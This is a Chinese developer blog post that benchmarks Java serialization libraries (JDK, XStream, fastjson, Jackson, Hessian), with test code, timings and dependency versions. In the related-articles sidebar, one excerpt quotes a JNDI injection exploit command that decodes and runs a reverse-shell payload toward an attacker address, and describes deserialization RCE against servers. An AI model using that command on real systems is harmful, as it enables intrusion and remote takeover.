几种序列化协议(fastjson,xstream,jackjson,jdk,hessian)相关数据对比

最新推荐文章于 2024-07-31 20:40:14 发布
最新推荐文章于 2024-07-31 20:40:14 发布
阅读量2k 收藏 1
点赞数
分类专栏： 分布式 文章标签： 序列化对比
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/bohu83/article/details/79862303
版权

protobuf 还没看，所以暂时没有加入对比，但是已经默认是最快的序列化协议了。

测试点：

  • 序列化时间
  • 反序列化时间
  • bytes大小

测试代码：

项目随便找一个pojo.我自己找的常见属性，没有严格测试到每一种数据类型。所以测试数据仅供自己学习。

package com.daojia.hessian;

import java.io.Serializable;
import java.util.Date;
import java.util.List;

public class Person implements Serializable {  
	  
    private static final long serialVersionUID = -1923645274767028479L;  
      
    private List address;  
  


	private Date brithday;   
      
    private boolean gender;  
      
    private double height;  
      
    private int id;  
      
    private String name;  
      
    private int phone;  
      
    private float weight;  
  
      
    public List getAddress() {
		return address;
	}

	public void setAddress(List address) {
		this.address = address;
	}
  
  
    public Date getBrithday() {  
        return brithday;  
    }  
  
    public void setBrithday(Date brithday) {  
        this.brithday = brithday;  
    }  
  
    public boolean isGender() {  
        return gender;  
    }  
  
    public void setGender(boolean gender) {  
        this.gender = gender;  
    }  
  
    public double getHeight() {  
        return height;  
    }  
  
    public void setHeight(double height) {  
        this.height = height;  
    }  
  
    public int getId() {  
        return id;  
    }  
  
    public void setId(int id) {  
        this.id = id;  
    }  
  
    public String getName() {  
        return name;  
    }  
  
    public void setName(String name) {  
        this.name = name;  
    }  
  
    public int getPhone() {  
        return phone;  
    }  
  
    public void setPhone(int phone) {  
        this.phone = phone;  
    }  
  
    public float getWeight() {  
        return weight;  
    }  
  
    public void setWeight(float weight) {  
        this.weight = weight;  
    }  
  
}

测试接口：

package com.daojia.hessian;

public interface TestCallback {

    String getName();  
    
    byte[] writeObject(Object source);  
  
    Object readObject(byte[] bytes);  
}
package com.daojia.hessian;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.management.ManagementFactory;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.fasterxml.jackson.core.JsonGenerationException;
import com.fasterxml.jackson.core.JsonParseException;
import com.fasterxml.jackson.core.JsonParser.Feature;
import com.fasterxml.jackson.databind.JsonMappingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.thoughtworks.xstream.XStream;

public class Test {

	final static int testCount = 1000000;

	
	public static void main(String[] args) {
		// TODO Auto-generated method stub

		  // 序列化  
		testTemplate(new TestCallback() {  
			  
		    public String getName() {  
		        return "Serializable Test";  
		    }  
		  
		    @Override  
		    public byte[] writeObject(Object source) {  
		        try {  
		            ByteArrayOutputStream bout = new ByteArrayOutputStream();  
		            ObjectOutputStream output = new ObjectOutputStream(bout);  
		            output.writeObject(source);  
		            return bout.toByteArray();  
		        } catch (IOException e) {  
		            e.printStackTrace();  
		        }  
		        return null;  
		    }  
		  
		    @Override  
		    public Object readObject(byte[] bytes) {  
		        try {  
		            ByteArrayInputStream bin = new ByteArrayInputStream(bytes);  
		            ObjectInputStream input = new ObjectInputStream(bin);  
		            return input.readObject();  
		        } catch (Exception e) {  
		            e.printStackTrace();  
		        }  
		        return null;  
		    }  
		}, getPerson(), testCount);  
		// Xstream测试  
		final XStream xstream = new XStream();  
		testTemplate(new TestCallback() {  
		  
		    public String getName() {  
		        return "Xstream test";  
		    }  
		  
		    @Override  
		    public byte[] writeObject(Object source) {  
		        return xstream.toXML(source).getBytes();  
		    }  
		  
		    @Override  
		    public Object readObject(byte[] bytes) {  
		        return xstream.fromXML(new ByteArrayInputStream(bytes));  
		    }  
		}, getPerson(), testCount);  
		
		// json测试  		  
		testTemplate(new TestCallback() {  
		  
		    public String getName() {  
		        return "fastJson Test";  
		    }  
		  
		    @Override  
		    public byte[] writeObject(Object source) {  
		        try {  
		        	//String tmp =JSON.toJSONString(source);    
		        	//System.out.println(":"+tmp);
		            return JSON.toJSONString(source).getBytes();   
		        } catch (Exception e) {  
		            e.printStackTrace();  
		        }  		  
		        return null;  
		    }  
		  
		    @Override  
		    public Object readObject(byte[] bytes) {  
		        try {  
		        	//String tmp =new String(bytes);
		        	//System.out.println("parse before:"+tmp);
		        	 JSONObject object = JSON.parseObject(new String(bytes));
		        
		            return object;
		        } catch (Exception e) {  
		            e.printStackTrace();  
		        }  
		        return null;  
		    }  
		}, getPerson(), testCount);  
		// json测试  
		final ObjectMapper objectMapper = new ObjectMapper();  	  

		// JSON configuration for compatibility  
		objectMapper.configure(Feature.ALLOW_UNQUOTED_FIELD_NAMES, true);  
		objectMapper.configure(Feature.ALLOW_UNQUOTED_CONTROL_CHARS, true);  
		  
		testTemplate(new TestCallback() {  
		  
		    public String getName() {  
		        return "Jackson Test";  
		    }  
		  
		    @Override  
		    public byte[] writeObject(Object source) {  
		        try {  
		            return objectMapper.writeValueAsBytes(source);  
		        } catch (JsonGenerationException e) {  
		            e.printStackTrace();  
		        } catch (JsonMappingException e) {  
		            e.printStackTrace();  
		        } catch (IOException e) {  
		            e.printStackTrace();  
		        }  
		  
		        return null;  
		    }  
		  
		    @Override  
		    public Object readObject(byte[] bytes) {  
		        try {  
		            return objectMapper.readValue(bytes, 0, bytes.length, Person.class);  
		        } catch (JsonParseException e) {  
		            e.printStackTrace();  
		        } catch (JsonMappingException e) {  
		            e.printStackTrace();  
		        } catch (IOException e) {  
		            e.printStackTrace();  
		        }  
		        return null;  
		    }  
		}, getPerson(), testCount);  
		
//		//hession
		testTemplate(new TestCallback() {  
		public String getName() {  
	         return "hessian 2 with no deflat";  
	     }  

	     @Override  
	     public byte[] writeObject(Object source) {  
	         try {  
	             ByteArrayOutputStream bos = new ByteArrayOutputStream();  
	             Hessian2Output out = new Hessian2Output(bos);  
	             // out.startMessage();  
	             out.writeObject(source);  
	             // out.completeMessage();  
	             out.flush();  
	             return bos.toByteArray();  
	         } catch (IOException e) {  
	             e.printStackTrace();  
	         }  
	         return null;  
	     }  

	     @Override  
	     public Object readObject(byte[] bytes) {  
	         try {  
	             ByteArrayInputStream bin = new ByteArrayInputStream(bytes);  
	             Hessian2Input in = new Hessian2Input(bin);  
	             // in.startMessage();  
	             Object obj = in.readObject();  
	             // in.completeMessage();  
	             return obj;  
	         } catch (IOException e) {  
	             e.printStackTrace();  
	         }  
	         return null;  
	     }  
		}, getPerson(), testCount);  
		
		// hessian 1 with no deflat  
        testTemplate(new TestCallback() {  
  
            public String getName() {  
                return "hessian 1 with no deflat";  
            }  
  
            @Override  
            public byte[] writeObject(Object source) {  
                try {  
                    ByteArrayOutputStream bos = new ByteArrayOutputStream();  
                    HessianOutput out = new HessianOutput(bos);  
                    out.writeObject(source);  
                    out.flush();  
                    return bos.toByteArray();  
                } catch (Exception e) {  
                    e.printStackTrace();  
                }  
                return null;  
            }  
  
            @Override  
            public Object readObject(byte[] bytes) {  
                try {  
                    ByteArrayInputStream bin = new ByteArrayInputStream(bytes);  
                    HessianInput in = new HessianInput(bin);  
                    Object obj = in.readObject();  
                    in.close();  
                    return obj;  
                } catch (IOException e) {  
                    e.printStackTrace();  
                }  
                return null;  
            }  
        }, getPerson(), testCount);  
	}
	
	private static void testTemplate(TestCallback callback, Object source, int count) {  
        int warmup = 10;  
        // 先进行预热，加载一些类，避免影响测试  
        for (int i = 0; i < warmup; i++) {  
            byte[] bytes = callback.writeObject(source);  
            callback.readObject(bytes);  
        }  
       restoreJvm(); // 进行GC回收  
        // 进行测试  
        long start = System.nanoTime();  
        long size = 0l;  
        for (int i = 0; i < count; i++) {  
            byte[] bytes = callback.writeObject(source);  
           // System.out.println("byte:"+bytes.toString());
            size = size + bytes.length;  
            callback.readObject(bytes);  
            // System.out.println(callback.readObject(bytes));  
            bytes = null;  
        }  
        long nscost = (System.nanoTime() - start);  

		System.out.println(callback.getName() + " total cost=" + nscost + "ns , each cost="  
                           + (nscost / count) + "ns , and byte sizes = " + size / count);  
        restoreJvm();// 进行GC回收  
  
    }  
	
	private static void restoreJvm() {
		// TODO Auto-generated method stub
		 int maxRestoreJvmLoops = 10;  
	        long memUsedPrev = memoryUsed();  
	        for (int i = 0; i < maxRestoreJvmLoops; i++) {  
	            System.runFinalization();  
	            System.gc();  
	  
	            long memUsedNow = memoryUsed();  
	            // break early if have no more finalization and get constant mem used  
	            if ((ManagementFactory.getMemoryMXBean().getObjectPendingFinalizationCount() == 0)  
	                && (memUsedNow >= memUsedPrev)) {  
	                break;  
	            } else {  
	                memUsedPrev = memUsedNow;  
	            }  
	        }  
	    }  
	  
	    private static long memoryUsed() {  
	        Runtime rt = Runtime.getRuntime();  
	        return rt.totalMemory() - rt.freeMemory();  
	    }  

	public byte[] writeObject(Object source) {  
        try {  
            ByteArrayOutputStream bos = new ByteArrayOutputStream();  
            Hessian2Output out = new Hessian2Output(bos);  
            // out.startMessage();  
            out.writeObject(source);  
            // out.completeMessage();  
            out.flush();  
            return bos.toByteArray();  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
        return null;  
    }  
	

     public Object readObject(byte[] bytes) {  
         try {  
             ByteArrayInputStream bin = new ByteArrayInputStream(bytes);  
             Hessian2Input in = new Hessian2Input(bin);  
             // in.startMessage();  
             Object obj = in.readObject();  
             // in.completeMessage();  
             return obj;  
         } catch (IOException e) {  
             e.printStackTrace();  
         }  
         return null;  
     }  
	
	 public static Person getPerson() {  
         Person person = new Person();  
         List l =  new ArrayList();
         l.add("Beijing");
         l.add("TaiWan");
         person.setAddress(l);  
         person.setBrithday(new Date());  
         person.setGender(false);  
         person.setHeight(168.5D);  
         person.setId(300);  
         person.setName("Jack");  
         person.setPhone(188888888);  
         person.setWeight(55.2F);  
         return person;  
     }  
}

测试demo网上找的demo，觉得挺好的，自己改造了下。

测试结果：

Serializable Test total cost=13418353185ns , each cost=13418ns , and byte sizes = 316
Xstream test total cost=30640534128ns , each cost=30640ns , and byte sizes = 325
fastJson Test total cost=2053259922ns , each cost=2053ns , and byte sizes = 142
Jackson Test total cost=2144118971ns , each cost=2144ns , and byte sizes = 142
hessian 2 with no deflat total cost=3356286519ns , each cost=3356ns , and byte sizes = 133
hessian 1 with no deflat total cost=11453543539ns , each cost=11453ns , and byte sizes = 169

可以看出：耗时上

fastJson < Jackson < hessian2 <hessian1 < jdk<xstream

fastjson比jackson快一点点，没那么显著，我觉得都可以。hessian2是慢了点。dubbox已经支持protobuf了。

测试版本： jdk 1.8

<dependency>
	    <groupId>com.caucho</groupId>
	    <artifactId>hessian</artifactId>
	    <version>4.0.51</version>
	</dependency>
	<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.10</version>
	</dependency>
	<dependency>
     <groupId>com.alibaba</groupId>
     <artifactId>fastjson</artifactId>
     <version>1.2.47</version>
	</dependency>
	<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>2.9.5</version>
</dependency>
<dependency>
    <groupId>com.fasterxml.jackson.jaxrs</groupId>
    <artifactId>jackson-jaxrs-json-provider</artifactId>
    <version>2.9.5</version>
</dependency>

参考：http://agapple.iteye.com/blog/859052

bohu83
关注
专栏目录
21 - 高并发- 序列化JSON协议通讯
良之才的专栏
11-13 468
一、常见JSON开源类库比较 Java处理JSON数据有三个比较流行的开源类库有：阿里的FastJson、谷歌的Gson和开源社区的Jackson。 （1）Jackson是一个简单的、基于Java的JSON开源库。使用Jackson开源库，可以轻松地将Java POJO对象转换成JSON、XML格式字符串；同样也可以方便地将JSON、XML字符串转换成Java POJO对象。Jackson开源库...
Java序列化工具的对比
qf2019的博客
09-23 1182
在Java开发工具当中，Java序列化工具是比较常用的，而且种类也有不少，下面小编就来做个对比： 1.Java序列化工具的技术原理对比 Binary Formats & language-specific Ones Javabuiltin (Java native), javamanual (根据成员变量类型手动编写), fstserliazation , kryo 二进制格式-通用语言-非特定 Ones protobuf (Google) , Thrift (Facebook) , Avrogen
结合FastJSON的设计 + protocol buffer的协议的序列化组件
netcomm
10-16 213
由于温少开源的FastJSON非常优秀，但由于JSON本身协议是需要传输属性名等字符串的，这就使得它在java系统间作为通讯或磁盘存储的序列化方案，就显得不合适了。所以，结合FastJSON的设计 + protocol buffer做了个序列化小东西(glowworm)。 [b]1.它的调用非常简单：[/b] TP tmpTP = new TP(); … … // 序...
Netty详解
最新发布
努力分享一些干货内容，纯干货，没有一点水
07-31 2153
Netty是一个高性能、异步的网络应用框架，用于开发高效的网络通信程序。它是JavaNIO的一个抽象，简化了网络编程的复杂性，并提供了一系列高级功能，使网络编程变得更简单。Netty是一个高效的网络框架，专注于处理大量并发连接。它通过异步IO处理来避免阻塞，这让它在处理高并发时表现出色。Netty还利用了优化的内存管理和零拷贝技术，降低了性能开销。框架的灵活性也很高，开发者可以通过管道机制自定义数据处理流程，API和文档丰富，帮助简化网络编程。不过，Netty。
fastjson 序列化 不包括转义字符_奈学：一起了解几种序列化协议
weixin_39675038的博客
11-14 196
序列化（编码）是将对象序列化为二进制形式（字节数组），主要用于网络传输、数据持久化等；而反序列化（解码）则是将从网络、磁盘等读取的字节数组还原成原始对象，主要用于网络传输对象的解码，以便完成远程调用。影响序列化性能的关键因素：序列化后的码流大小（网络带宽的占用）、序列化的性能（CPU资源占用）；是否支持跨语言（异构系统的对接和开发语言切换）。Java默认提供的序列化：无法跨语言、序列化后的码流太大...
fastjson 各个 版本 jar
03-25
fastjson-1.1.35.jar ,fastjson-1.1.36.jar ,fastjson-1.1.37.jar ,fastjson-1.1.44.jar ,fastjson-1.2.3.jar,fastjson-1.2.4.jar
Java序列化和hessian序列化的区别
云计算?
08-23 469
在远程调用中，需要把参数和返回值通过网络传输，这个使用就要用到序列化将对象转变成字节流，从一端到另一端之后再反序列化回来变成对象。 既然前面有一篇提到了hessian，这里就简单讲讲Java序列化和hessian序列化的区别。 首先，hessian序列化比Java序列化高效很多，而且生成的字节流也要短很多。但相对来说没有Java序列化可靠，而且也不如Java序列化支持的全面。而...
基于混合分析的Java反序列化利用链挖掘方法.docx
05-27
此外，Fastjson、Jackson、Hessian、XStream等流行的第三方反序列化库也被发现存在反序列化漏洞，当处理攻击者可控的数据时，可能导致恶意代码被执行。 在利用Java反序列化漏洞时，攻击者通常需要构建一系列的代码...
序列化与反序列化
qq_45429238的博客
01-01 180
序列化与反序列化 序列化和反序列化的概念： （1）Java序列化就是把Java对象转换成字节序列的过程 （2）Java反序列化就是指把字节序列恢复为Java对象的过程 序列化的作用和意义；在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。 反序列化的作用和意义：根据字节流中保存的对象状态及描述信息，通过反序列化重建对象。 核心作用就是对象状态的保存和重建。 jdk序列化机制：需要序列化的Java对象只需要实现 Serializable / Exter
序列化战争：主流序列化框架Benchmark
西代零零发
07-03 6362
序列化战争：主流序列化框架BenchmarkGitHub上有这样一个关于序列化的Benchmark，被好多文章引用。但这个项目考虑到完整性，代码有些复杂。为了个人学习，自己实现了个简单的Benchmark测试类，也算是总结一下当今主流序列化框架的用法。1.序列化的战争按照序列化后的数据格式，主流的序列化框架主要可以分为四大类：JSON、二进制、XML、RPC。从更高层次来说，JSON和XML都可以算
Java序列化工具对比
吹雪的专栏
07-04 4593
1. Java序列化工具技术原理比较 Binary Formats &amp;amp; language-specific ones JavaBuiltIn（java原生）、JavaManual（根据成员变量类型，手工写）、FstSerliazation、Kryo Binary formats-generic language-unspecific ones Protobuf(Google)、Th...
fastjson各版本jar包以及使用方法
07-19
https://blog.csdn.net/hykwhjc/article/details/81121224 fastJSON的使用
hessian学习基础篇——序列化和反序列化
05-26
NULL 博文链接：https://qinghua0208.iteye.com/blog/493516
Jackson--FastJson--XStream--代码执行&&反序列化
weixin_74985952的博客
10-17 284
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,base64反弹shell命令}|{base64,-d}|{bash,-i}” -A 攻击机地址。将xml类型payload替换使用JNDI工具生成的class文件地址发送至目标服务器接受解析。将JRMP监听地址替换xml型payload，抓包发送至目标服务器解析xml格式处。在利用该版本范围时，只能通过项目中所调用的模块和本身类文件来进行利用。
java,jackson,fastjson,hessian序列化 "单个对象“ 与 "List里面装1000个对象”，性能对比...
09-29 334
      JavaSerDeImpl serialize single BLOG cost:16778 tps:59601 count:1000000 JavaSerDeImpl serialize blogList.size:1000 cost:12146 tps:823 count:10000 JacksonSerDeImpl serialize single...
对象序列化技术比较,及其使用场景
专注基础架构领域
08-06 947
什么是对象序列化? 　序列化(Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程.  　这是百度百科的说明,也很浅显易懂,比如说,我有一个java对象,我想传输给远端的程序,如何传输尼?  　java提供了序列化接口,只要实现了Serializable接口,就可将java对象序列化成字节,然后以流的形式传输,然后在远端再反序列化成对象,这就达到了传输消息的目的.  　...
几种序列化方式的总结(Serializable,json,Fastjson,ProtoBuff,Hessian和Kyro)
HX_2021
03-22 5468
0、背景 当两个进程在进行远程通信时，彼此可以发送各种类型的数据。无论是何种类型的数据，都会以二进制序列的形式在网络上传送。发送方需要把这个Java对象转换为字节序列，才能在网络上传送；接收方则需要把字节序列再恢复为Java对象。 本文主要对几种常见Java序列化方式进行实现。包括Java原生以流的方法进行的序列化、Json序列化、FastJson序列化、Protobuff序列化、Hessian序列化和Kyro序列化。 1、java原生序列化方式 这种方式只能将支持 java.io.Serializable
Java序列化以及反序列化
qq_39042571的博客
07-28 1065
Java序列化
Redis 序列化 GenericJackson2JsonRedisSerializer和Jackson2JsonRedisSerializer的区别
热门推荐
胖虎儿的博客
12-28 2万+
/** * 实例化 RedisTemplate 对象 * @return */ @Bean public RedisTemplate<String, Object> functionDomainRedisTemplate(RedisConnectionFactory factory) { RedisTemplate<String, Object> redisTemplate = new RedisTemplate<.
C3P0反序列化漏洞与Fastjson/Jackjson内存注入示例
"C3P0反序列化链学习文档详细探讨了C3P0库在Java中的一种常见安全漏洞利用方式，即通过序列化和反序列化过程中的远程代码执行（RCE）攻击。C3P0通常被用于数据库连接池管理，但当不当配置或恶意数据注入时，它可能会...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值